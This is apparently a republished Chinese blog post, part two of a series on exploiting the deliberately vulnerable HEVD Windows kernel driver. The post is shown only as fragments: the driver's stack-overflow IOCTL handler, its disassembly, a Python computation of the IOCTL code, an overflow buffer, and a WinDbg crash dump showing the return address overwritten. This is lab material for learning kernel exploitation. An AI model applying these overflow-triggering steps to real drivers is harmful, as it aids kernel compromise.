本文讲的是
HEVD内核攻击:漏洞的使用(二),
IrpSp = IoGetCurrentIrpStackLocation(Irp); IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; if (IrpSp) { switch (IoControlCode) { case HACKSYS_EVD_IOCTL_STACK_OVERFLOW: DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******n"); Status = StackOverflowIoctlHandler(Irp, IrpSp); DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******n"); break;
NTSTATUS StackOverflowIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength; if (UserBuffer) { Status = TriggerStackOverflow(UserBuffer, Size); }
DbgPrint("[+] Triggering Stack Overflown"); RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
PAGE:FFFFF880037281D3 loc_FFFFF880037281D3: ; CODE XREF: IrpDeviceIoCtlHandler+31j PAGE:FFFFF880037281D3 lea rcx, aHacksys_evd_st ; "****** HACKSYS_EVD_STACKOVERFLOW ******"... PAGE:FFFFF880037281DA call DbgPrint PAGE:FFFFF880037281DF mov rdx, rdi ; IrpSp PAGE:FFFFF880037281E2 mov rcx, rbx ; Irp PAGE:FFFFF880037281E5 call StackOverflowIoctlHandler PAGE:FFFFF880037281EA lea rcx, aHacksys_evd_st ; "****** HACKSYS_EVD_STACKOVERFLOW ******"... PAGE:FFFFF880037281F1 jmp loc_FFFFF8800372831E
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
ioctl = ctl_code(0x800)
>>> ioctl = ((0x00000022 << 16) | (0x00000000 << 14) | (0x800 << 2) | 0x00000003) >>> hex(ioctl) '0x222003' >>>
evilbuf = create_string_buffer("A"*2048 + "B"*8 + "C"*8 + "D"*8)
****** HACKSYS_EVD_STACKOVERFLOW ****** [+] UserBuffer: 0x0000000002D99330 [+] UserBuffer Size: 0x819 [+] KernelBuffer: 0xFFFFF88004EC6FE0 [+] KernelBuffer Size: 0x800 [+] Triggering Stack Overflow *** Fatal System Error: 0x0000003b (0x00000000C0000005,0xFFFFF88005921912,0xFFFFF88004EC6E00,0x0000000000000000) Break instruction exception - code 80000003 (first chance) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. Connected to Windows 7 7601 x64 target at (Wed Jul 6 14:33:45.047 2016 (UTC - 4:00)), ptr64 TRUE Use !analyze -v to get detailed debugging information. BugCheck 3B, {c0000005, fffff88005921912, fffff88004ec6e00, 0} 0: kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* SYSTEM_SERVICE_EXCEPTION (3b) An exception happened while executing a system service routine. Arguments: Arg1: 00000000c0000005, Exception code that caused the bugcheck Arg2: fffff88005921912, Address of the instruction which caused the bugcheck Arg3: fffff88004ec6e00, Address of the context record for the exception that caused the bugcheck Arg4: 0000000000000000, zero. Debugging Details: ------------------ BUGCHECK_P1: c0000005 BUGCHECK_P2: fffff88005921912 BUGCHECK_P3: fffff88004ec6e00 BUGCHECK_P4: 0 EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. FAULTING_IP: HEVD-Win7x64+6912 fffff880`05921912 c3 ret CONTEXT: fffff88004ec6e00 -- (.cxr 0xfffff88004ec6e00) rax=0000000000000000 rbx=4444444444444444 rcx=fffff88004ec6fe0 rdx=0000077ffded2350 rsi=0000000000000000 rdi=fffffa8003e10760 rip=fffff88005921912 rsp=fffff88004ec77e8 rbp=fffffa8002295c70 r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=fffff88004ec77e0 r12=fffffa80042ada00 r13=0000000000000000 r14=4242424242424242 r15=0000000000000003 iopl=0 nv up ei pl zr na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010246 HEVD-Win7x64+0x6912: fffff880`05921912 c3 ret Resetting default scope DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT BUGCHECK_STR: 0x3B PROCESS_NAME: pythonw.exe CURRENT_IRQL: 2 LAST_CONTROL_TRANSFER: from 4343434343434343 to fffff88005921912 STACK_TEXT: fffff880`04ec77e8 43434343`43434343 : 44444444`44444444 00000000`00000000 fffffa80`03e10760 fffff880`04ec7a01 : HEVD+0x6912 fffff880`04ec77f0 44444444`44444444 : 00000000`00000000 fffffa80`03e10760 fffff880`04ec7a01 00000000`00000000 : 0x43434343`43434343 fffff880`04ec77f8 00000000`00000000 : fffffa80`03e10760 fffff880`04ec7a01 00000000`00000000 fffff880`059211ea : 0x44444444`44444444 FOLLOWUP_IP: HEVD-Win7x64+6912 fffff880`05921912 c3 ret FAULT_INSTR_CODE: 8348ccc3 SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: HEVD-Win7x64+6912 FOLLOWUP_NAME: MachineOwner MODULE_NAME: HEVD-Win7x64 IMAGE_NAME: HEVD-Win7x64.sys
原文发布时间为:2017年3月24日
本文作者:xiaohui
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。